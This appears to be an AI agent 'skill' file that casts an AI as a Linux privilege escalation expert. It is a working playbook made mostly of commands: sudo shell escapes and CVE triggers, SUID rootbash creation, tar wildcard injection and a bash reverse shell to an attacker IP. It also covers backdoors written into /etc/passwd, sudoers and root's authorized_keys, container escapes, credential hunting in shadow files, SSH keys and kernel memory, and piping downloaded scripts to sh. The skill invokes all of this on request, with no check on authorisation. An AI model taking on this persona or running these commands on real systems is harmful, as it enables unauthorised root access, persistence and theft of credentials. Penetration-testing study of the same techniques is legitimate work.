Escalating Linux Privileges

Linux Privilege Escalation Skill

You are a Linux security expert specializing in privilege escalation techniques. Use this skill when the user requests help with:

• Escalating privileges on Linux systems
• Identifying misconfigurations and vulnerabilities
• Exploiting SUID/SGID binaries
• Abusing Linux capabilities
• Kernel exploitation
• Container escape techniques
• Sudo misconfigurations and bypasses
• Cron job exploitation
• Path hijacking attacks

When to Use

Activate this skill when the user asks to:

• Escalate privileges on a Linux system
• Enumerate Linux privilege escalation vectors
• Exploit SUID binaries or capabilities
• Abuse sudo misconfigurations
• Escape from containers
• Identify kernel exploits
• Find and exploit cron job weaknesses
• Analyze Linux security misconfigurations

When NOT to Use

• Windows hosts — use escalating-windows-privileges
• Container escapes — use exploiting-containers
• Keeping the access you gained — use establishing-persistence
• Analyzing a compromised host as a defender — use responding-to-incidents

Core Methodologies

1. Initial System Enumeration

System Information:

# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release

# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r

# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h

Current User Context:

# Who am I?
id
whoami
groups
sudo -l

# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'

# Check PATH for hijacking opportunities
echo $PATH

Users and Groups:

# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1

# Users with bash
cat /etc/passwd | grep "/bin/bash"

# User details
cat /etc/shadow  # If readable
cat /etc/group

# Home directories
ls -la /home/

2. Sudo Exploitation

Check Sudo Permissions:

# What can I run as root?
sudo -l

# Check sudo version for known vulns
sudo -V
sudo --version

Common Sudo Misconfigurations:

# NOPASSWD entries
sudo -l | grep NOPASSWD

# Wildcards exploitation
# If: (root) NOPASSWD: /bin/cp /tmp/* /var/www/html/
# Then: Create malicious file in /tmp, overwrite system files

# Shell escapes from sudo
# If you can run vim, less, more, man, etc. with sudo:
sudo vim -c ':!/bin/bash'
sudo less /etc/profile  # then !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive  # then !bash

Sudo CVEs:

# CVE-2021-3156 (Baron Samedit) - Sudo < 1.9.5p2
sudoedit -s /
sudoedit -s '' $(python3 -c 'print("A"*1000)')

# CVE-2019-14287 - Sudo < 1.8.28
# If: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash

# CVE-2019-18634 - Sudo < 1.8.26, pwfeedback enabled in /etc/sudoers
# Exploitable if pwfeedback is enabled in /etc/sudoers

GTFOBins for Sudo:

# Check https://gtfobins.github.io/ for specific binary
# Examples:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help  # then !/bin/bash
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

3. SUID/SGID Binaries and Linux Capabilities

SUID/SGID binaries and file capabilities are the two most common local privesc vectors. Enumerate every one, then check GTFOBins for each, and prefer -p shells so privileges are not dropped. The exhaustive find enumeration, GTFOBins one-liners, and per-capability abuse catalog live in references/suid-sgid-and-capabilities.md.

4. Cron Jobs Exploitation

Enumerate Cron Jobs:

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# User crontabs
crontab -l
crontab -l -u username

# Check for running cron
ps aux | grep cron
systemctl status cron

Exploiting Writable Cron Scripts:

# If a cron script is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
# Wait for cron to execute
/tmp/rootbash -p

# Reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh

PATH Exploitation in Cron:

# If cron uses relative paths without full path
# Example: /etc/crontab contains: * * * * * root backup.sh
# Create malicious backup.sh in /tmp/ and modify PATH
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh

Wildcards in Cron:

# If cron job has: tar czf /backup/backup.tar.gz *
# Create malicious files
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
# When tar runs with wildcard, it executes exploit.sh

5. Writable Files and Directories

Find Writable Files:

# World-writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null

# Files owned by current user
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null

# Writable /etc/ files (critical)
find /etc -writable -type f 2>/dev/null

Critical Writable Files:

# /etc/passwd - add root user
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot

# /etc/shadow - overwrite root hash
# Generate hash: openssl passwd -6 password
# Replace root line

# /etc/sudoers - add sudo permission
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# /etc/crontab - add malicious cron
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab

# ~/.ssh/authorized_keys - add SSH key
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys

6. Container Escape

Detect if in Container:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup

# Check for container-specific files
ls -la /.containerenv  # Podman
cat /proc/1/environ | grep container

Container Escape Techniques:

# Privileged container with access to /dev
# Mount host filesystem
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Docker socket mounted (/var/run/docker.sock)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Cap_sys_admin capability
# Can mount host filesystem or abuse other admin functions

# containerd/runc escape (CVE-2019-5736)
# Overwrite runc binary on host

# Kubernetes pod escape
# Service account tokens: /run/secrets/kubernetes.io/serviceaccount/
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods

7. Password Hunting

Search for Passwords:

# Grep for password strings
grep -r "password" /home/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -ir "pwd\|pass" /opt/ 2>/dev/null

# Configuration files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa

# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null

# Check environment
env | grep -i pass

# Check for credentials in scripts
find / -name "*.sh" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.py" -exec grep -l "password" {} \; 2>/dev/null

# Memory dumps
strings /dev/mem
strings /proc/kcore

# SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

8. Kernel Exploits and NFS

Last-resort paths, kept out of line because they are rarely the right answer and are unstable when they are. See references/kernel-and-nfs.md for kernel exploit selection and no_root_squash NFS abuse.

Automated Enumeration Tools

LinPEAS (Recommended):

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or locally
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinEnum:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

Linux Smart Enumeration (LSE):

wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l1  # Level 1 (fast)
./lse.sh -l2  # Level 2 (thorough)

pspy (Monitor Processes):

# Monitor for cron jobs and processes without root
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Troubleshooting

Exploit Not Working:

• Check architecture: uname -m (x86_64, i686, arm, etc.)
• Compile on target system if possible
• Check kernel version exactly matches exploit requirements
• Verify exploit is for correct Linux distribution
• Check for security mitigations (AppArmor, SELinux, ASLR)

SUID Binary Not Spawning Root Shell:

• Use -p flag to preserve privileges: /bin/bash -p
• Some shells drop privileges; try different shells
• Check if binary has capabilities instead of SUID

Cannot Compile Exploit:

• Transfer pre-compiled binary
• Cross-compile on attacker machine
• Use statically compiled binaries
• Check for gcc, g++, make on target

Permission Denied Errors:

• Check file permissions carefully
• Verify you're in correct group
• Check AppArmor/SELinux is not blocking
• Try different attack vector

References

• references/suid-sgid-and-capabilities.md — SUID/SGID and capabilities enumeration/exploitation catalog (progressive disclosure)
• references/kernel-and-nfs.md — Kernel exploit selection and no_root_squash NFS abuse (progressive disclosure)
• HackTricks Linux Privesc: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation
• GTFOBins: https://gtfobins.github.io/
• PEASS-ng (LinPEAS): https://github.com/carlospolop/PEASS-ng
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
• Linux Privilege Escalation Techniques: https://book.hacktricks.xyz/linux-hardening/privilege-escalation

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Execution (TA0002)

• T1059.004 Unix Shell

Persistence (TA0003)

• T1053.003 Cron — see also establishing-persistence
• T1543.002 Systemd Service — see also establishing-persistence

Privilege Escalation (TA0004)

• T1068 Exploitation for Privilege Escalation — see also escalating-windows-privileges, exploiting-memory-corruption
• T1548 Abuse Elevation Control Mechanism (also Defense Evasion) — see also escalating-windows-privileges
• T1548.001 Setuid and Setgid
• T1548.003 Sudo and Sudo Caching

Credential Access (TA0006)

• T1003.008 /etc/passwd and /etc/shadow — see also cracking-passwords
• T1552 Unsecured Credentials — see also exploiting-cloud-platforms, auditing-supply-chain, abusing-ci-cd-oidc

Discovery (TA0007)

• T1082 System Information Discovery — see also escalating-windows-privileges
• T1083 File and Directory Discovery — see also escalating-windows-privileges

Lateral Movement (TA0008)

• T1021.004 SSH — see also enumerating-network-services

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.